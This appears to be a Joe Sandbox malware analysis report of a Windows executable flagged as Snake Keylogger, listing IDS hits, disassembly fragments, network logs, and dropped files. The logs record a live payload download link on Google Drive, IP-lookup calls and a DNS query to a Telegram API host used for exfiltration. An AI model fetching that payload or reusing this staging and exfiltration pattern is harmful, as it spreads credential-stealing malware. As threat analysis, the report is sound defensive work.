Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:56856 -> 104.21.112.1:443

Source: 4a. RFx-4045.exe	Virustotal: Detection: 12%			Perma Link
Source: 4a. RFx-4045.exe	ReversingLabs: Detection: 13%

Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 037CF2EDh	4_2_037CF33C
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 037CF2EDh	4_2_037CF150
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CD978h	4_2_370CD680
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C0570h	4_2_370C02A0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CC06Eh	4_2_370CBDA0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C71DEh	4_2_370C6F10
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C51EEh	4_2_370C4F20
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C31FEh	4_2_370C2F30
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CF628h	4_2_370CF330
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CB616h	4_2_370CB348
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CDE40h	4_2_370CDB48
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C9626h	4_2_370C9358
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CCE1Eh	4_2_370CCB50
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then mov esp, ebp	4_2_370C1F71
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C766Eh	4_2_370C73A0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C567Eh	4_2_370C53B0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C368Eh	4_2_370C33C0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CBAA8h	4_2_370CB7D8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C9AB6h	4_2_370C97E8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CD34Fh	4_2_370CCFE0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CFAF0h	4_2_370CF7F8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C48CEh	4_2_370C4600
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C28DEh	4_2_370C2610
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CACF6h	4_2_370CAA28
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CC4FEh	4_2_370CC230
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CF160h	4_2_370CEE68
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C8D17h	4_2_370C8A70
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C6D4Eh	4_2_370C6A80
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C4D5Eh	4_2_370C4A90
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C2D6Eh	4_2_370C2AA0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CB186h	4_2_370CAEB8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C9196h	4_2_370C8EC8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CC98Eh	4_2_370CC6C0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CA3D6h	4_2_370CA108
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C841Eh	4_2_370C8150
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C642Eh	4_2_370C6160
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C443Eh	4_2_370C4170
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CA866h	4_2_370CA598
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CEC98h	4_2_370CE9A0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C88AEh	4_2_370C85E0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C68BEh	4_2_370C65F0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CE308h	4_2_370CE010
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C7AFEh	4_2_370C7830
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C5B0Eh	4_2_370C5840
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C3B1Eh	4_2_370C3850
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C9F46h	4_2_370C9C78
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C7F8Eh	4_2_370C7CC0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370CE7D0h	4_2_370CE4D8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C5F9Eh	4_2_370C5CD0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370C3FAEh	4_2_370C3CE0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370D2689h	4_2_370D23D8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370DF845h	4_2_370DF508
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370DCC39h	4_2_370DC990
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370DE851h	4_2_370DE5A8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370D2C50h	4_2_370D2838
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370D0D0Dh	4_2_370D0B30
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370D16F8h	4_2_370D0B30
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370D2C50h	4_2_370D2B7E
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370DD629h	4_2_370DD380
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370DECA9h	4_2_370DEA00
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370DF101h	4_2_370DEE58
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_370D0673
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370DD131h	4_2_370DCE88
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370DE3D1h	4_2_370DE128
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_370D0040
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_370D0853
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370DDB21h	4_2_370DD878
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 370DDF79h	4_2_370DDCD0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 373592A8h	4_2_37358FB0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37354AF0h	4_2_373547F8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37354628h	4_2_37354330
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37355E10h	4_2_37355B18
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 373575F8h	4_2_37357300
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37350800h	4_2_37350508
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37356C68h	4_2_37356970
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37351658h	4_2_37351360
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37358450h	4_2_37358158
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37352E40h	4_2_37352B48
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 373524B0h	4_2_373521B8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37353C98h	4_2_373539A0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37355480h	4_2_37355188
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 373562D8h	4_2_37355FE0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37350CC8h	4_2_373509D0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37357AC1h	4_2_373577C8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37357130h	4_2_37356E38
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37358918h	4_2_37358620
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37351B20h	4_2_37351828
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37353308h	4_2_37353010
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37354160h	4_2_37353E68
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37355948h	4_2_37355650
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37350338h	4_2_37350040
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 373567A0h	4_2_373564A8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37357F88h	4_2_37357C90
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37351190h	4_2_37350E98
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37352978h	4_2_37352680
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37351FE8h	4_2_37351CF0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37358DE0h	4_2_37358AE8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 373537D0h	4_2_373534D8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then jmp 37354FB8h	4_2_37354CC0
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_37376FB8
Source: C:\Users\user\Desktop\4a. RFx-4045.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_37376FA9

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1VMCN_SELJQuGzVuWbU0xqgOert2oDCFy HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1VMCN_SELJQuGzVuWbU0xqgOert2oDCFy&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4a. RFx-4045.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Alpha.ini

C:\Users\user\AppData\Local\Temp\nsc1899.tmp

C:\Users\user\AppData\Local\Temp\nsg8927.tmp

C:\Users\user\AppData\Local\Temp\nsi8DBE.tmp

C:\Users\user\AppData\Local\Temp\nsm1926.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsr8B3B.tmp

C:\Users\user\AppData\Local\Temp\nss8C75.tmp

C:\Users\user\AppData\Local\Temp\nsy8FA3.tmp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Anientise.ini

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Associeringerne.gaf

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\Ovening\tendrilous.ini

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\Ovening\unbesotted.jpg

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\Ovening\volutiform.jpg

Windows Analysis Report
4a. RFx-4045.exe